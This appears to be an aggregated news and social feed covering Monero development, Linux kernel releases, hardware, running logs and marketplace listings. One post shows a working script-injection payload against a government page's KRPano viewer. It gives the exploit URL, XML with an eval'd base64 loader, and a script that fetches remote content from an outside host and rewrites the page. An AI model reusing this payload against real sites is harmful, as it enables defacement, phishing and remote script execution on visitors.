Monero Observer Blitz #38 - January 2025
Here’s a recap of what happened this January in the Monero community:
MoneroKon 2025 Planning Meeting scheduled for 8 February 2025 1700 UTC
The next MoneroKon 2025 Planning Meeting 1 is scheduled to take place on Saturday, February 8th 2025 at 17:00 UTC in the #monerokon 2 Matrix/IRC channels.
The meeting’s discussion topics should be available on agenda.monerokon.org 3.
Logs for the previous meeting are available on Monero Observer4.
_Note that the upcoming event will take place in Prague on June 20-22 2025[ … ⌘ Read more
EdgeBox Blue is a Compact Industrial VPN Router and IoT Edge Gateway
The EdgeBox-Blue is an industrial VPN router and edge gateway designed for applications requiring secure networking and data management in industrial environments. It runs on an OpenWRT-based platform and supports real-time data acquisition, automation, and cloud integration. The MT7981BA processor supports Wi-Fi 6 (IEEE 802.11ax) with a combined 1.8 Gbps throughput across the 2.4GHz and […] ⌘ Read more
Monero Dev Activity Report - Week 4 2025: 38 PRs, 8 Issues
This weekly report aims to provide a big picture view of Monero development activity, increase community support for existing devs and, hopefully, encourage new contributions.
Opened (15)
monero-project/monero:
Introduction to GrapheneOS
GrapheneOS (written GOS from now on) is an Android based operating system that focuses security. It is only compatible with Google Pixel devices for multiple reasons: availability of hardware security components, long term support (series 8 and 9 are supported at least 7 years after release) and the hardware has a good quality / price ratio. The goal of GOS is to provide users a lot more control about what their smartphone is doing. A main profile is used by default (the owner … ⌘ Read more
Haveno v1.0.18 released with various fixes and improvements
woodser1 has released Haveno2 version 1.0.183 with various bug fixes, improvements and updates.
Reduce disk usage up to 98% by saving wallets less frequently..
Update to Tor browser v14.0.3 and Tor binary v0.4.8.13
Increase trade limit of 'no deposit' offers to 1.5 XMR
Rename 'Cash at ATM' to 'Cardless Cash'
Support startup flag to specify blockchain location for local node
Improv ... ⌘ [Read more](https://monero.observer/woodser-releases-haveno-v1.0.18-fixes-improvements/)1980’s Computers on the Modern Internet with FujiNet
Because the Apple Il, 8 Bit Atari, Tandy Color Computer, and DOS PCs all deserve to be Online. ⌘ Read more
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Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html
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So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
Deals: Get iPad Mini 7 for $399 ($100 Off), AirTags 4-pack for $70
The iPad mini is a popular iPad model for users who want a very portable table experience. The 7th generation iPad mini is particularly well suited for modern use, being the first iPad mini model to support Apple Intelligence AI features, an 8″ LCD display, and the speedy A17 processor, which is the same powerful … [Read More](https://osxdaily.com/2025/01/13/deals-get-ipad-mini-7-for-399-100-off-airtags-4-pa … ⌘ Read more
Mathieu Pasquet: slixmpp v1.8.6 - Codename ICE 2926
A bit less than a year since the latest version, there has been around
45 commits to include in this new release.
Added initial support for:
- XEP-0264 (Jingle Content Thumbnails)
- XEP-0317 (Hats)
- XEP-0469 (Bookmarks pinning)
- XEP-0490 (Message Display Synchronization)
Pinellas County - Long Run: 8.50 miles, 00:09:50 average pace, 01:23:31 duration
garmin gps really fucked this one up. it thought i ran a half marathon at like a 7:00 pace or something.
the run was okay. it was a bit warmer and humid this morning, but really i am just a bit worn out i think. it was a bit boring so i turned on the podcast “telepathy tapes” and that was at least background noise.
#running
6.12.9: stable
Version:6.12.9 (stable)Released:2025-01-09Source:linux-6.12.9.tar.xzPGP Signature:linux-6.12.9.tar.signPatch:full ( incremental)ChangeLog:ChangeLog-6.12.9 ⌘ Read more
woodser releases monero-java v0.8.34, monero-ts v0.11.2
woodser1 has just released monero-java v0.8.342 and monero-ts v0.11.23 with various fixes and updates:
monero-java:
-fix block template serialization
-changed slf4j dependency to api instead of simple
-fix notification of connection change on check connection
-update monero-cpp submodule
monero-ts:
-Fix handling of internal assets to eliminate the need for dist/dist
-Fix block ... ⌘ [Read more](https://monero.observer/woodser-releases-monero-java-v0.8.34-monero-ts-v0.11.2/)6.12.8: stable
Version:6.12.8 (stable)Released:2025-01-02Source:linux-6.12.8.tar.xzPGP Signature:linux-6.12.8.tar.signPatch:full ( incremental)ChangeLog:ChangeLog-6.12.8 ⌘ Read more
Monero Research Lab meeting scheduled for 8 January 2025 1700 UTC
The next Monero Research Lab1 meeting is scheduled to take place on Wednesday, January 8th 2025 at 17:00 UTC on IRC-Libera/Matrix2 in the #monero-research-lab channels.
- Updates. What is everyone working on?
- Discussion: Post-quantum security and ethical considerations over elliptic curve cryptography3
This meeting’s chairperson should be Rucknium4. The full dis … ⌘ Read more
Recovery run: 6.21 miles, 00:09:19 average pace, 00:57:51 duration
just running to run. a bit worn out recently so just stuck to the treadmill. first two miles at 10:00, next two and three quarters at 8:34, a quarter mile at 7:30, and a cool down at 10:00 again.
#running #treadmill
** The social is predicated on its exclusions **
I’ve been sitting on this post for like 8 months. I’ve written it and rewritten it at least a dozen times. I hsve two or three notes documents worth of research. It has never felt right, though. It still doesn’t. I figured an rss-only debut for it would be fine, and maybe one day I’ll bring it to a normy kinda post.
At my job I try to make big public digital services accessible. Because of this I think a lot about disability, and how some portion of disability is socially c … ⌘ Read more
[WTS] [$120+] ‘Fire The Empire’ artwork
“Fire the Empire.” Acrylic on fine-grain 200g/m² paper, 11.7 x 16.5 inches. Original artwork No. 3 of 8 from an upcoming collection. Stay tuned for more. /SID
Link: https://xmrbazaar.com/listing/EFTY/
S1DARTA0 (Twitter) ⌘ Read more
Pinellas County Running: 8.10 miles, 00:09:35 average pace, 01:17:37 duration
needed to get out and get away from everything for a bit. turned into eight miles but was just what i needed.
#running
Last week at The Lunduke Journal (Dec 8 - Dec 21, 2024)
Linux Foundation Lowers Linux Spending! IBM, Red Hat, & Mozilla Discrimination Lawsuits! ChatGPT Can’t Say Lunduke! ⌘ Read more
Gate.io drops Monero ETF markets, plans to delist XMRUSDT perpetual contract on December 26 2024
Crypto CEX Gate.io 1 has announced plans2 to delist the XMRUSDT 3 perpetual contract from their platform on December 26 2024 at 8:00 UTC, after silently closing leveraged Monero ETF markets ( XMR3L and XMR3S 4) earlier today:
Gate.io will cease trading of the leveraged tokens XMR3L and XMR3S on December 20, 2024, at 10:00 UTC. [..] **Gate.io … ⌘ Read more
QuartzPro64 RK3588 Developer Board Now Available at $199.99
The QuartzPro64 is a developer board featuring the Rockchip RK3588 system-on-chip . It is designed for applications requiring high-performance computing, extensive connectivity, and flexible expansion options. Initially introduced in 2022, the board is equipped with an octa-core CPU comprising four ARM Cortex-A76 cores running at 2.4 GHz and four ARM Cortex-A55 cores at 1.8 GHz. […] ⌘ Read more
It seems like every app is offering a “Spotify Wrapped”-style yearly review these days. One app where I genuinely find the results fascinating is Träwelldroid, which I use to log my public transport journeys on Träwelling. While the average German drives roughly 10k kilometers per year by car, I traveled approximately 9600 kilometers using public transport, spending a total of 4 days and 8 hours in transit. This is particularly noteworthy since I commuted less frequently this year and didn’t do any interrailing. Sad … ⌘ Read more
j-berman completes CCS proposal after 483 hours of Monero and Seraphis dev work
j-berman1 has published a third and final progress report2 for his full-time 2024 ( part 8) Monero (FCMPs++ integration) and Seraphis wallet library dev work CCS proposal3:
Work overviewUpdate 3: 483 hours [..] FCMP++ wallet tree sync (via building the tree locally) is set up and integrated into wallet2.
Completed the task to start sync from arbitrary restore height N
Did ... ⌘ [Read more](https://monero.observer/j-berman-completes-monero-dev-work-2024-part-8-ccs/)[WTS] [US] [$75+] iPhone 8, 64GB
Former corporate phone. Verizon network. Pretty good shape. Small scratch on screen, but it’s nearly invisible when in use.
Link: https://xmrbazaar.com/listing/NQxy/
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Stack Wallet adds support for XMR view-only wallets, ‘churn options’
rehrar1 has released Stack Wallet2 version 2.1.83 with support for Monero view-only wallets and churn options 4, various other changes and bug fixes.
Added Monero churn options
Added ability to set tor/clearnet options for individual nodes
Bug fixes for Solana, Tezos, ETH, Cardano, and epic
Paynym temporarily disabled while kinks worked out
Adju ... ⌘ [Read more](https://monero.observer/stack-wallet-v2.1.8-support-monero-view-only-wallets-churn-options/)Pocket 4 with 8.8″ High-Refresh LTPS Screen, 64GB RAM, 2TB SSD, and 45Wh Battery
Indiegogo recently introduced the GPD Pocket 4, a compact PC powered by AMD’s latest processors, including the Ryzen AI9 HX370. It features up to 64GB of LPDDR5x RAM, an M.2 NVMe port, Gigabit Ethernet, Wi-Fi 6E, Bluetooth 5.3, and more. Users can choose between the AMD Ryzen AI9 HX370, AI9 365, or Ryzen 7 8840U, […] ⌘ Read more
elementary OS 8 is the DEI Linux Distro
“Take that fascists!” says elementary OS founder, Daniel Fore. ⌘ Read more
Monero Dev Activity Report - Week 47 2024: 20 PRs, 8 Issues
This weekly report aims to provide a big picture view of Monero development activity, increase community support for existing devs and, hopefully, encourage new contributions.
Opened (14)
monero-project/monero:
Coin-sized ESP32-H2-WROOM-07 RISC-V Module with BLE, Thread, and Zigbee Support for $2.13
The ESP32-H2-WROOM-07 is a compact module featuring a RISC-V single-core 32-bit microprocessor and support for Bluetooth Low Energy. It can be configured with up to 4 MB of flash memory and is designed for applications such as smart home systems, industrial automation, and consumer electronics. Measuring just 8.5 × 12.7 × 2.6 mm, the ESP32-H2-WROOM-07 […] ⌘ Read more
Have an Old iPhone or iPad? iCloud Backups & Safari Bookmark Syncing Will Soon Not Work
Apple is dropping support for iCloud backups for iPhone or iPad running iOS 8 or earlier. Additionally, Apple is also dropping support for Safari Bookmark Syncing for devices running iOS 10 or earlier, or macOS Sierra 10.12.5 and earlier. While this will not impact the vast majority of people, there are many older model iPhone, … [Read More](https://osxdaily … ⌘ Read more
Hey @aelaraji@aelaraji.com I’m running PHP 8.2 on my server
Mozilla’s “Dreams” Do Not Include Firefox … or Even Web Browsing
A survey about Mozilla’s future doesn’t mention Firefox… but it does have 8 gender options. ⌘ Read more
Pred storočím v Petrovci bolo Fordovo zastupiteľstvo
Dňa 9. júna 1924 na dr. Wagnerovom majeri neďaleko Kulpína, robená bola prezentácia Fordových traktorov. Z toho, čo tam prítomní videli, boli prinajmenšom ohromení, keďže konštatovali ich “nedostižiteľnú výkonnosť a všestrannú upotrebu”. Tak píše dobová tlač a spresňuje, že “dva traktory, ťahajúc za sebou po dva pluhy, oraly zľahka hĺbku, aká sa dá docieliť len 8. koňmi”. Tretí traktor zľahka krútil mrvačku a št … ⌘ Read more
6.11.9: stable
Version:6.11.9 (stable)Released:2024-11-17Source:linux-6.11.9.tar.xzPGP Signature:linux-6.11.9.tar.signPatch:full ( incremental)ChangeLog:ChangeLog-6.11.9 ⌘ Read more